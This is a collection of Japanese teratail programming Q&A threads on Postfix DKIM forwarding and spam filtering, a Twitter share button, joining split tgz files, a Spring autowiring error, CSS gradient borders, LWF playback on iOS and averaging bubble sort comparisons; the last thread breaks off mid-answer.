現在、起こっている問題は下記となります。 送信専用のメールサーバのドメインが@**mail.example.jp**です 送信する際にsender\_canonical\_mapsで Return-Pathをsupport@mail.example.jpのsupportアカウントに変えてメールを送っています。 このメールサーバからdocomo.ne.jp i.softbank.jp ezweb.ne.jp宛てのキャリア向けアドレスにメール送信を行います。 受信したキャリアメールを送信アドレスに返信します。 返信されたメールは元の送信専用メールサーバに到着し、/etc/aliasで指定されたアカウントメールを OFFICE365側にある**example.com**の別ドメインに転送するようにしています。 この時、OFFICE365側にあるアカウント@example.com向けに転送されますが、迷惑フォルダに入ってくる事が問題になっています。 メールログを見ると、DKIM設定で、no signing table matchのログが確認出来ます。 ですが、gmail.com、yahoo.co.jp宛てに送信したメールから返信されたメールについては aliasesでexample.comに転送され、受信ボックスに格納されてきます gmail.com、yahoo.co.jpから返信したメールの転送時は受信ボックスに格納され、 携帯キャリアからの返信メールの転送時は迷惑ボックスに格納されるのかが不明となっています。 キャリアメールから受信メールに対して返信を行い、送信専用のメールサーバからtest@example.comに転送した時のログです また、本サーバ構成を添付しますのでご参照ください [![イメージ説明](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/3e2829b75049a95a1dd969f4598fe15c.png)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/3e2829b75049a95a1dd969f4598fe15c.png) ■auキャリア宛メール送信⇒test@mail.example.jpに返信⇒test@example.comに転送 ``` ■mail.example.jp⇒auキャリア宛メール送信 Feb 5 13:29:59 mailserver01 postfix/cleanup[1264]: E2ED0C5270E: message-id=<20190205042959.E2ED0C5270E@mail.example.jp> Feb 5 13:29:59 mailserver01 opendkim[1089]: E2ED0C5270E: DKIM-Signature field added (s=20190117, d=mail.example.jp) Feb 5 13:30:00 mailserver01 postfix/qmgr[26631]: E2ED0C5270E: from=<support@mail.example.jp>, size=1391, nrcpt=1 (queue active) Feb 5 13:30:00 mailserver01 amavis[77266]: (77266-01) Passed CLEAN {RelayedOutbound}, MYNETS LOCAL [**.**.**.**]:51716 <support@mail.example.jp> -> <abc@ezweb.ne.jp>, Queue-ID: 329F0C5270C, mail_id: Q61yBWbSIT2Z, Hits: -0.86, size: 779, queued_as: E2ED0C5270E, 1721 ms Feb 5 13:30:00 mailserver01 postfix/smtp[1265]: 329F0C5270C: to=<abc@ezweb.ne.jp>, relay=127.0.0.1[127.0.0.1]:10024, delay=1.8, delays=0.09/0.01/0.01/1.7, dsn=2.0.0, status=sent (250 2.0.0 from MTA(smtp:[127.0.0.1]:10025): 250 2.0.0 Ok: queued as E2ED0C5270E) Feb 5 13:30:00 mailserver01 postfix/qmgr[26631]: 329F0C5270C: removed Feb 5 13:30:00 mailserver01 postfix/smtp[1276]: E2ED0C5270E: to=<abc@ezweb.ne.jp>, relay=lsean.ezweb.ne.jp[***.**.***.***]:25, delay=0.22, delays=0.09/0.01/0.09/0.04, dsn=2.0.0, status=sent (250 Ok: queued as 1C4AFCE) ``` ``` ■auキャリア宛メール⇒test@mail.example.jpに返信⇒test@example.comに転送 Feb 5 13:30:13 mailserver01 postfix/smtpd[20863]: connect from localhost[127.0.0.1] Feb 5 13:30:13 mailserver01 postfix/smtpd[20863]: BE826C5270E: client=localhost[127.0.0.1] Feb 5 13:30:13 mailserver01 postfix/cleanup[20854]: BE826C5270E: message-id=<2019proxy09.ezweb.ne.jp> Feb 5 13:30:13 mailserver01 opendkim[1058]: BE826C5270E: no signing table match for 'abc@ezweb.ne.jp' Feb 5 13:30:13 mailserver01 opendkim[1058]: BE826C5270E: no signature data Feb 5 13:30:13 mailserver01 postfix/qmgr[46328]: BE826C5270E: from=<support@mail.example.jp>, size=1332, nrcpt=1 (queue active) Feb 5 13:30:13 mailserver01 amavis[99888]: (99888-01) Passed CLEAN {RelayedOpenRelay}, [***.**.***.**]:3862 [**.***.**.**] <support@mail.example.jp> -> <test@example.com>, Queue-ID: 129C1C5270C, Message-ID: <2019proxy09.ezweb.ne.jp>, mail_id: wh1F6zkehPCM, Hits: 2.932, size: 791, queued_as: BE826C5270E, 1697 ms Feb 5 13:30:13 mailserver01 postfix/smtp[20856]: 129C1C5270C: to=<test@example.com>, orig_to=<test@mail.example.jp>, relay=127.0.0.1[127.0.0.1]:10024, delay=1.8, delays=0.1/0.01/0.01/1.7, dsn=2.0.0, status=sent (250 2.0.0 from MTA(smtp:[127.0.0.1]:10025): 250 2.0.0 Ok: queued as BE826C5270E) Feb 5 13:30:13 mailserver01 postfix/qmgr[46328]: 129C1C5270C: removed Feb 5 13:30:16 mailserver01 postfix/smtp[20865]: BE826C5270E: to=<test@example.com>, relay=example.com.mail.eo.outlook.com[***.**.**.**]:25, delay=2.6, delays=0.08/0.01/0.36/2.1, dsn=2.6.0, status=sent (250 2.6.0 <2019proxy09.ezweb.ne.jp> [InternalId=19683835119297, Hostname=TY***.prod.outlook.com] 8912 bytes in 0.304, 28.612 KB/sec Queued mail for delivery) Feb 5 13:30:16 mailserver01 postfix/qmgr[46328]: BE826C5270E: removed ``` * **2/6 追記** gmail.comから返信されたメールをtest@example.comに宛ての受信ボックスに転送された時のヘッダ情報は下記となります ``` Authentication-Results: spf=pass (sender IP is **.**.**.**) smtp.mailfrom=mail.example.jp; example.jp; dkim=pass (signature was verified) header.d=gmail.com;example.jp; dmarc=pass action=none header.from=gmail.com;compauth=pass reason=100 Received-SPF: Pass (protection.outlook.com: domain of mail.example.jp designates **.**.**.** as permitted sender) receiver=protection.outlook.com; client-ip=**.**.**.**; helo=mail.example.jp; Received: from mail.example.jp (**.**.**.**) by OS2JPN01FT014.mail.protection.outlook.com (**.**.**.**) with Microsoft SMTP Server id 15.20.1580.10 via Frontend Transport; Mon, 4 Feb 2019 03:27:16 +0000 Received: by mail.example.jp (Postfix) id D680BC5270F; Mon, 4 Feb 2019 12:27:15 +0900 (JST) Delivered-To: test-sender@mail.example.jp Received: from localhost (localhost [127.0.0.1]) by mail.example.jp (Postfix) with ESMTP id BDC75C5270E for <test-sender@mail.example.jp>; Mon, 4 Feb 2019 12:27:15 +0900 (JST) DKIM-Filter: OpenDKIM Filter v2.11.0 mail.example.jp BDC75C5270E Authentication-Results-Original: mail.example.jp; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="FQTsoxTx" X-Virus-Scanned: amavisd-new at mail.example.jp Authentication-Results-Original: mailserver01.example.jp (amavisd-new); dkim=pass (2048-bit key) header.d=gmail.com Received: from mail.example.jp ([127.0.0.1]) by localhost (mailserver01.example.jp [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 0jv0lMK8BnWF for <test-sender@mail.example.jp>; Mon, 4 Feb 2019 12:27:15 +0900 (JST) Received: from mail-oi1-f174.google.com (mail-oi1-f174.google.com [**.**.**.**]) by mail.example.jp (Postfix) with ESMTP id DA4ADC5270C for <test-sender@mail.example.jp>; Mon, 4 Feb 2019 12:27:14 +0900 (JST) DKIM-Filter: OpenDKIM Filter v2.11.0 mail.example.jp DA4ADC5270C Received: by mail-oi1-f174.google.com with SMTP id y23so10393548oia.4 for <test-sender@mail.example.jp>; Sun, 03 Feb 2019 19:27:14 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=mime-version:in-reply-to:references:from:date:message-id:subject:to; bh=4*****************************=; ****************************************************** 9g0w== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; ``` ` auから返信されたメールをtest@example.comに宛ての迷惑ボックスに転送された時のヘッダ情報は下記となります ``` このメッセージはスパムと判定されました。29 日後に削除されます。 スパムではありません  ラベル: Junk Email (30 日) 有効期限: 2019/03/06 (水) 20:35 abc@ezweb.ne.jp 2019/02/04 (月) 20:35 Test Received: from HK****:.****.outlook.com (2******) by HK****:.****.outlook.com with HTTPS via **********.OUTLOOK.COM; Mon, 4 Feb 2019 11:35:07 +0000 Received: from ***********.outlook.com (****) by ********.outlook.com (*****) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.1580.17; Mon, 4 Feb 2019 11:35:06 +0000 Received: from ***********.outlook.com (*********) by ********.office365.com (*****) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.1580.17 via Frontend Transport; Mon, 4 Feb 2019 11:35:05 +0000 Authentication-Results: spf=pass (sender IP is ***.***.**.**) smtp.mailfrom=mail.example.jp; example.jp; dkim=none (message not signed) header.d=none;example.jp; dmarc=fail action=none header.from=ezweb.ne.jp;compauth=fail reason=001 Received-SPF: Pass (****.outlook.com: domain of mail.example.jp designates ***.**.**.** as permitted sender) receiver=****.outlook.com; client-ip=***.**.**.**; helo=mail.example.jp; Received: from mail.example.jp (***.**.**.**) by *****.outlook.com (***.**.**.**) with Microsoft SMTP Server id 15.20.1580.10 via Frontend Transport; Mon, 4 Feb 2019 11:35:05 +0000 Received: from localhost (localhost [127.0.0.1]) by mail.example.jp (Postfix) with ESMTP id B2136C5270E for <test@example.com>; Mon, 4 Feb 2019 20:35:04 +0900 (JST) DKIM-Filter: OpenDKIM Filter v2.11.0 mail.example.jp B2136C5270E X-Virus-Scanned: amavisd-new at mail.example.jp Received: from mail.example.jp ([127.0.0.1]) by localhost (mailserver01.example.jp [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 8sonWnwK4MOR for <test@example.com>; Mon, 4 Feb 2019 20:35:04 +0900 (JST) Received: from ezweb.ne.jp (nx3oBP05-10.ezweb.ne.jp [***.***.**.***]) by mail.example.jp (Postfix) with ESMTP id 1E339C5270C for <test-sender@mail.example.jp>; Mon, 4 Feb 2019 20:35:04 +0900 (JST) DKIM-Filter: OpenDKIM Filter v2.11.0 mail.example.jp 1E339C5270C Received: from mm01proxy07 (localhost [127.0.0.1]) by au.com with ESMTP id x14BZ3cF031103 for <test-sender@mail.example.jp>; Mon, 4 Feb 2019 20:35:03 +0900 Date: Mon, 4 Feb 2019 20:35:03 +0900 From: <abc@ezweb.ne.jp> To: <test-sender@mail.example.jp> Message-ID: <20*******1proxy07.ezweb.ne.jp> Subject: Reply MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Return-Path: support@mail.example.jp ``` ~~virtual\_alias\_maps = hash:/etc/postfix/virtualでの転送設定でも当該事象は解消されませんでした。~~ また、https://blog.jicoman.info/2014/09/postfix\_aliases\_envelope\_from/ のように、 ``` virtual_alias_maps = regexp:/etc/postfix/recipient_canonical.regexp /etc/postfix/sender_canonical.regexp ``` を設定をしましたが、 mail.example.jpのメールサーバからabc@ezweb.ne.jp宛てのキャリア向けに送信しようとすると、 このメールサーバ内でabcユーザのドメインをexample.comドメインに書き換えてしまい、 example.comにはabcユーザがいない事でbounceになってしまいます。 --- **2/7 追記** opendkim.confにRemoveOldSignatures yes の設定を入れました。 ``` # 20190206 ADD RemoveOldSignatures yes ``` RemoveOldSignatures設定を入れる事で私のau宛てのメールアドレスから返信してOFFICE365側に転送すると10通中8通は受信ボックスに格納されるようになりましたが、docomo.ne.jp i.softnbanl.jpからの返信はスパム扱いのままです
受信メールの転送時にno signing table matchとなり迷惑メール扱いされる =============================================
teratail.com
2019.43
[ { "text": "DKIMの署名がされなくて迷惑メールと判定されているのであれば、下記を参考にヘッダーfromを書き換えればopendkimでDKIM署名をしてくれてdkim認証はpassするかもしれません。未検証で何か副作用もあるかも。 \n\nhttps://fsck.jp/?p=311 \n\n\n転送メールのdkimは諦めるかDMARCやarcに対応しそちらで判定する方がいいと思います。 \n\nメール業界では昔からある問題です。 \n\ndkimはそもそもメールデータの改竄を検知する仕組みです。 \n\n改竄して無理やり署名したメールを検証することは無意味です。 \n\nopendkimで特定のホストから届いたメールは検証をしない設定があったと思います。 \n\n\naliasでなくvirtual\\_alias\\_mapsを使って宛先を書き換えた場合はどうなりますかね。書き換え後のドメインのメールサーバも同じホストで運用しているのであればそのままメールボックスに格納されないですかね。\n\n", "name": "", "is_accepted": true } ]
e2e334bea2c46f7f60927e42f0e615ff
ブログサイトにツイッターのツイートプラグインを設置しています。 datacount-urlを指定していますが、ツイート数が表示されません。 ちなみに、実際にツイートしているURLには、効果集計用のパラメータをつけていますが パラメーターをつけていると、だめなのでしょうか?
twitterのツイートプラグインでツイート数が表示されません ===============================
teratail.com
2021.10
[ { "text": "data-counturlと間違えてるからじゃないですかね。\n \nとりあえず[これ](https://about.twitter.com/resources/buttons#tweet)使ってみたらどうでせう。 \n", "name": "", "is_accepted": false }, { "text": "アドレスの指定は `data-url` だったと思います。\n \nもしくは class が `twitter-share-button` になっていないとかではないでしょうか?\n \n\n \nボタン部分のタグはオプションとかつけていないと次のような感じです。\n \n\n```\n<a href=\"https://twitter.com/share\" class=\"twitter-share-button\"\n   data-url=\"アドレス\"\n   data-text=\"タイトル\"\n   data-via=\"アカウント名\" data-lang=\"ja\">ツイート</a>\n```\n\n \n \n", "name": "", "is_accepted": false } ]
015e6f984b4c123e473d8e4868c0f96c
Windows上でtgzファイルの解凍を行いたいと考えています. フリーソフトをいくつか検討しているのですが, 解凍したいファイルには, 001.tgz-a 001.tgz-b 001.tgz-c のように分割されたものが存在します. 分割されているファイルはどのように解凍を行えばいいのでしょうか. ご教授お願いいたします.
分割されたtgzファイルの解凍(Windows) ========================
teratail.com
2021.21
[ { "text": "分割の方法が単純に分けられただけであれば、copyコマンドで一つにできます。\n \nコマンドプロンプト上で下記を実行してみて下さい。\n \n\n```\ncopy /b 001.tgz-a + 001.tgz-b  + 001.tgz-c 001.tgz\n```\n※ copy 直後の /b を忘れずに、そうしないと壊れたファイルができあがります。\n \nあとは001.tgzを適当な圧縮解凍アプリで展開すればできると思います。 \n", "name": "", "is_accepted": false }, { "text": "「tgz 分割 解凍 windows」でGoogle検索すれば「Lhaca デラックス版」なんてものがヒットしますが,それではだめなのですか? \n", "name": "", "is_accepted": false } ]
2f730f27e864e774bb02924d5584dcc9
###  前提・実現したいこと お世話になっております。 今回、データベースからデータを取得するようプログラムを組んでいるのですが、 ブラウザで確認を行おうとすると500エラーが返ってきてしまいます。 エラーの内容を確認したのですが、@Autowiredがおかしいくらいまでしか理解できず、 そこより深い部分での原因がわからないため、相談させてください。 ###  発生している問題・エラーメッセージ ``` 【例外】 javax.servlet.ServletException: サーブレット [dispatcherServlet] のServlet.init()が例外を投げました org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:496) org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650) org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342) org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:803) 以下略 ``` ``` 【原因】 org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'testController': Unsatisfied dependency expressed through field 'testSv'; nested exception is org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type 'jp.sample.billing.service.TestService' available: expected at least 1 bean which qualifies as autowire candidate. Dependency annotations: {@org.springframework.beans.factory.annotation.Autowired(required=true)} org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor$AutowiredFieldElement.inject(AutowiredAnnotationBeanPostProcessor.java:588) org.springframework.beans.factory.annotation.InjectionMetadata.inject(InjectionMetadata.java:88) org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor.postProcessPropertyValues(AutowiredAnnotationBeanPostProcessor.java:366) org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1268) org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:553) org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:483) org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractBeanFactory.java:312) org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:230) org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:308) org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:197) org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:761) org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:867) org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:543) org.springframework.web.servlet.FrameworkServlet.configureAndRefreshWebApplicationContext(FrameworkServlet.java:668) org.springframework.web.servlet.FrameworkServlet.createWebApplicationContext(FrameworkServlet.java:634) org.springframework.web.servlet.FrameworkServlet.createWebApplicationContext(FrameworkServlet.java:682) org.springframework.web.servlet.FrameworkServlet.initWebApplicationContext(FrameworkServlet.java:553) org.springframework.web.servlet.FrameworkServlet.initServletBean(FrameworkServlet.java:494) org.springframework.web.servlet.HttpServletBean.init(HttpServletBean.java:171) 以下略 ``` ###  該当のソースコード コントローラー ``` package jp.sample.billing.controller; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import jp.sample.billing.dto.TestDto; import jp.sample.billing.service.TestService; @Controller public class TestController { @Autowired private TestService testSv; @RequestMapping(value="/test/{id}", method = RequestMethod.GET) public String test(Model model, @PathVariable int id){ TestDto test = testSv.getTest(id); model.addAttribute("message", "MyBatisのサンプルです。"); model.addAttribute("test", test); return "test"; } @RequestMapping(value = "/test/", method = RequestMethod.GET) public String testAll(Model model) { List<TestDto> tests = testSv.getTestAll(); model.addAttribute("message", "MyBatisの全件取得サンプルです"); model.addAttribute("tests", tests); return "testAll"; } } ``` Dto ``` package jp.sample.billing.dto; import lombok.Data; @Data public class TestDto { private Integer id; private String name; public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } } ``` エンティティ ``` package jp.sample.billing.entity; import java.io.Serializable; import javax.persistence.*; /** * The persistent class for the test database table. * */ @Entity @NamedQuery(name="Test.findAll", query="SELECT t FROM Test t") public class Test implements Serializable { private static final long serialVersionUID = 1L; @Id private int id; private String name; public Test() { } public int getId() { return this.id; } public void setId(int id) { this.id = id; } public String getName() { return this.name; } public void setName(String name) { this.name = name; } } ``` フォーム ``` package jp.sample.billing.form; import lombok.Data; @Data public class TestForm { private int id; private String name; public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } } ``` マッパー ``` package jp.sample.billing.mapper; import java.util.List; import jp.sample.billing.entity.Test; public interface TestMapper { Test getTest(int id); List<Test> getTestAll(); } ``` ``` <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="jp.sample.billing.mapper.TestMapper"> <resultMap id="TestResult" type="jp.sample.billing.entity.Test"> <result column="id" property="id" /> <result column="name" property="name" /> </resultMap> <!-- SELECT by id --> <select id="getTest" resultMap="TestResult" parameterType="int"> select id, name from test where id = #{id} </select> <!-- SELECT by All --> <select id="getTestAll" resultMap="TestResult"> select id, name from test; </select> </mapper> ``` サービス ``` package jp.sample.billing.service; import java.util.LinkedList; import java.util.List; import org.springframework.beans.BeanUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import jp.sample.billing.dto.TestDto; import jp.sample.billing.entity.Test; import jp.sample.billing.mapper.TestMapper; @Service public class TestService { @Autowired private TestMapper testMap; public TestDto getTest(Integer id){ TestDto dto = new TestDto(); Test entity = testMap.getTest(id); BeanUtils.copyProperties(entity, dto); return dto; } public List<TestDto> getTestAll() { List<Test> testList = testMap.getTestAll(); List<TestDto> resultList = convertToDto(testList); return resultList; } private List<TestDto> convertToDto(List<Test> testList) { List<TestDto> resultList = new LinkedList<>(); for (Test entity : testList) { TestDto dto = new TestDto(); BeanUtils.copyProperties(entity, dto); resultList.add(dto); } return resultList; } } ``` 不足分のソースは別途記載いたします。 長くなってしまいましたが、よろしくお願いいたします。
【MyBatis-Spring】サーバからデータを取得しようとすると500エラーが返ってきてしまう =================================================
teratail.com
2020.16
[ { "text": "コントローラーからサービスファイルがインポートできていなかったことが原因でした。 \n\n@Controller を付与しているファイルを以下のように変更したところ、解決しました。 \n\n\n変更前 \n\n\n\n```\n@Controller\npublic class TestController {\n```\n\n変更後 \n\n\n\n```\n@Controller\n@Import(TestService.class)\npublic class TestController {\n```\n", "name": "", "is_accepted": true } ]
413b17195f8d1a7718fb70f51b9ce3f7
### 前提・実現したいこと お世話になっています。 どうにも上手くいかなく、度々申し訳ないのですが、お力を借りられたらと思います。 要件としては見出しをデザインの関係でborderの高さを変えたいです。 下記が理想の上、一応2通り考えたのですが、それぞれが一歩足りない部分があり困ってます。 理想形 [![理想形](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/0a180586c14ae777a8eecba50c4c679a.png)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/0a180586c14ae777a8eecba50c4c679a.png) ### 該当のソースコード パターン1 ``` h2{ position: relative; padding: 0.25em 0; } h2:after { content: ""; display: block; height: 4px; background: -webkit-linear-gradient(to right, rgb(0, 129, 210), rgb(134, 220, 207)); background: linear-gradient(to right, rgb(0, 129, 210), rgb(134, 220, 207)); width:50%; border-bottom:solid 1px #eee; } ``` この形の場合、下線が伸びないため、困ってます パターン2 ``` h2{ border-bottom: solid 1px #fff; position: relative; padding:30px 0; } h2:after { position: absolute; content: " "; display: block; border-bottom: solid 3px; border-image: linear-gradient(to right, rgb(0, 129, 210), rgb(134, 220, 207)); border-image-slice: 1; bottom: -3px; width: 50%; } ``` この形の場合、色が変わるグレーの線がbottomにいってくれない。 ### 試したこと ネットでの検索 ### 補足情報(FW/ツールのバージョンなど) イラレのCCにはCSSに書き出す機能があるからそれで解決するかもなのですが、CCの環境がないため試せません。 上記を使えばもしかすると一瞬で終わる問題かもしれないので、少し申し訳なくも思うのですが、ご教授頂けたら幸いです。 宜しくお願いします。
borderの高さを途中から変えたい ==================
teratail.com
2021.25
[ { "text": "こういうことでしょうか。 \n\n\n\n```\nh2{\n border-bottom: solid 1px #eee/*#fff*/;\n position: relative;\n padding:30px 0;\n}\n\nh2:after {\n position: absolute;\n content: \" \";\n display: block;\n border-bottom: solid 3px;\n border-image: linear-gradient(to right, rgb(0, 129, 210), rgb(134, 220, 207));\n border-image-slice: 1;\n /*bottom: -3px;*/\n width: 50%;\n bottom: 0;\n}\n```\n\n**動くサンプル:**<https://jsfiddle.net/okpjgs7r/>\n\n", "name": "", "is_accepted": true }, { "text": "こんなんでどうでしょう。 \n\n\n\n```\nh2{\n position: relative;\n padding: 0.25em 0;\n}\n\nh2:after {\n content: \"\";\n display: block;\n height: 4px;\n background:\n linear-gradient(to right, rgb(0, 129, 210), rgb(134, 220, 207) 50%,\n rgba(0, 0, 0, 0) 50%, rgba(0, 0, 0, 0));\n width:100%;\n border-bottom:solid 1px #eee;\n}\n```\n\n<https://codepen.io/hatena19/pen/rNNvYvE>\n\n", "name": "", "is_accepted": false } ]
3ee5195d0cc2a91734d4d1a96e30e110
Unityでアプリを製作中なのですが、アプリ内で表示するアニメーションをFlashで作成し、それをLWF for Unityを使ってUnityに組み込みました。 エディター上やAndroid端末ではきちんと再生されるのですが、iOS端末では何故か再生されません。 以下、開発環境とXcode上で表示されているエラー文です。 エラー文に配列無効と表記されるのですが、表示させるスクリプトには配列を一切使っていないのでLWFのライブラリで使われているみたいです。 原因のわかる方がいらっしゃいましたらご教授お願いいたします。 iOS 8.2 Xcode 6.2 Unity 4.6.3 LWFS osx 20150210 IndexOutOfRangeException: Array index is out of range.   at LWF.Format.Texture.SetFilename (LWF.Data data) [0x00000] in <filename unknown>:0    at LWF.Data..ctor (System.Byte[] bytes) [0x00000] in <filename unknown>:0    at LWF.UnityRenderer.ResourceCache.LoadLWFData (System.String filename, System.Func`2 lwfDataLoader) [0x00000] in <filename unknown>:0    at LWFObject.Load (System.String path, System.String texturePrefix, System.String fontPrefix, Single zOffset, Single zRate, Int32 renderQueueOffset, UnityEngine.Camera renderCamera, UnityEngine.Camera inputCamera, Boolean autoUpdate, Boolean useAdditionalColor, System.Func`2 lwfDataCallback, System.Action`1 lwfLoadCallback, System.Action`1 lwfDestroyCallback, System.Func`2 lwfDataLoader, System.Func`2 textureLoader, System.Action`1 textureUnloader, System.String shaderName) [0x00000] in <filename unknown>:0    at TweenAlphaSprite.OnEnable () [0x00000] in <filename unknown>:0    at LWFPlayer.Start () [0x00000] in <filename unknown>:0    at Replacements.MSCompatUnicodeTable.get\_IsReady () [0x00000] in <filename unknown>:0  Replacements.MSCompatUnicodeTable:get\_IsReady()   (Filename: currently not available on il2cpp Line: 4294967295)
LWF for Unityで組み込んだFlashがiOSで再生されない ===================================
teratail.com
2021.43
[ { "text": "LWFSと使用していたUnityのバージョンの組み合わせが悪かったようで、Unityのバージョンを最新にしたら問題なく表示されました。 \n", "name": "", "is_accepted": true } ]
f55ca4f17bed9c6fa3445c05d3dc5446
###  前提・実現したいこと Javaで ”bubble sortを利用し、乱数100個を生成して、それらをソートする” を10回やって、比較回数をだすことに成功しました。次にやらなくてはいけないのは10個出た比較回数の平均を求めることです。 合計の比較回数/10とおいうことはわかるのですが、どうやって比較回数を合計するのかがわかりません。 比較回数=comparisonであっているのかわかりませんが、正解はbubblesortは4950回です。 このクラスをメインメソッドのあるクラスから呼び出したいです。 ``` import java.util.Random; public class random{ public static void main(String[] args){ Random random = new Random(); //Create random object of random class that will //enable input via console int[] a = new int[100]; //crate array which has 100 space for(int q=0;q<2;q++){ //repeating this action 10 times System.out.println(); System.out.println("\nOrginal order : "); for(int i=0;i<100;i++) //specify that there is 100 numbers in array { a[i]=random.nextInt(100); //put ransom numbers into array list } for(int i =0; i<a.length;i++){ System.out.print(a[i] + " "); } IntBubbleSorter.bubbleSort(a); //Pass the array to the bubbleaort System.out.println("Sorted in bubble sort : "); //Show sorted values that are sorted by bubble for(int i=0;i<a.length;i++){ System.out.print(a[i] + " "); } } } ``` ``` public class IntBubbleSorter { public static void bubbleSort(int[] array) { int lastPos; int index; int temp; int comp = 0; for( lastPos = array.length -1; lastPos>=0; lastPos--) { for (index = 0; index<=lastPos -1; index++) { comp ++; if(array[index] > array[index+1]) { temp = array[index]; array[index] = array[index+1]; array[index+1] = temp; } } } System.out.println("\nnumber of comparison in bubble sort: " + comp ); } ```
javaで10回繰り返した比較の平均値を求める =======================
teratail.com
2021.39
[ { "text": "bubbleSort()の返り値を比較回数にして、main()で平均値を求めてはどうでしょう。\n\n", "name": "", "is_accepted": true }, { "text": "こんにちは、 \n\n\n###  バブルソートにおける比較回数について\n\n\nデータがN個あるときの比較回数はN * (N + 1)/2です。 \n\n[Javaでバブルソート](https://qiita.com/Liberty/items/180b686c97dc8732235a) \n\n\nあくまでも、私の憶測にすぎませんが、おそらく求めたいのは比較回数ではなく、比較後 \n\n**実際にデータを入れ替えた回数**(データを入れ替えた回数)だと思いました。間違ってたらすみません。 \n\n一応、その方法を書いておきます。 \n\n\n(i)100個の乱数を生成し、配列に格納する。 \n\n(ii)バブルソートをする。 \n\n(iii)データの入れ替えを行った回数を数える。 \n\n(iv) (i)~(iii)を10回繰り返し、それぞれのデータの入れ替えを行った回数を配列に格納する。 \n\n(v) その合計を計算し、10.0で割る。 \n\n\n以下、私が書いたソースコードを載せておきます。 \n\nデータのほうを表示すると見づらくなるためコメントアウトしました。 \n\n実際のデータを見るとちゃんとバブルソートされていることがわかると思います。 \n\n\n\n```\nimport java.util.Random;\n\npublic class random {\n public static void main(String[] args){\n Random rand = new Random(); \n int[] data = new int[100]; \n //int []data2 = new int[100];\n int []count = new int[10];\n int loop = 0;\n while(loop < 10){\n System.out.print(loop + 1 + \"回目:\");\n for(int i = 0; i < 100; i++){\n data[i] = rand.nextInt(100);\n //System.out.print(data[i] + \" \");\n }\n for(int i = 0; i < 99; i++){\n for(int j = 99; j > i; j--){\n int tmp;\n if(data[j - 1] > data[j]){\n tmp = data[j - 1];\n data[j - 1] = data[j];\n data[j] = tmp;\n count[loop]++;\n }\n }\n }\n\n /*System.out.println();\n System.out.println(\"バブルソート完了\");\n for(int i = 0; i < 100; i++){\n System.out.print(data[i] + \" \");\n }*/\n System.out.println(\"回数:\" + count[loop] + \"回\");\n loop++;\n }\n int sum = 0;\n for(int i = 0; i < count.length; i++){\n sum += count[i];\n }\n double average = sum / 10.0;\n\n System.out.println(\"平均:\" + average + \"回\");\n\n }\n}\n```\n\n \n\n1回目:回数:2355回 \n\n2回目:回数:2433回 \n\n3回目:回数:2331回 \n\n4回目:回数:2548回 \n\n5回目:回数:2664回 \n\n6回目:回数:2448回 \n\n7回目:回数:2488回 \n\n8回目:回数:2337回 \n\n9回目:回数:2495回 \n\n10回目:回数:2398回 \n\n平均:2449.7回\n\n", "name": "", "is_accepted": false }, { "text": "\n```\npublic class IntBubbleSorter {\n final static int REPEAT_COUNT = 3;\n final static int ARRAY_SIZE = 100;\n\n public static void main(String[] args) {\n int count = 0;\n int[] array = new int[ARRAY_SIZE];\n\n for (int i = 0; i < REPEAT_COUNT; i++) {\n int comp = bubbleSort(randum_array(array));\n System.out.println(\"number of comparison in bubble sort: \" + comp);\n count += comp;\n }\n System.out.println(\"平均比較回数:\" + 1.0 * count / REPEAT_COUNT);\n }\n\n public static int[] randum_array(int[] array) {\n for (int i = 0; i < array.length; i++) 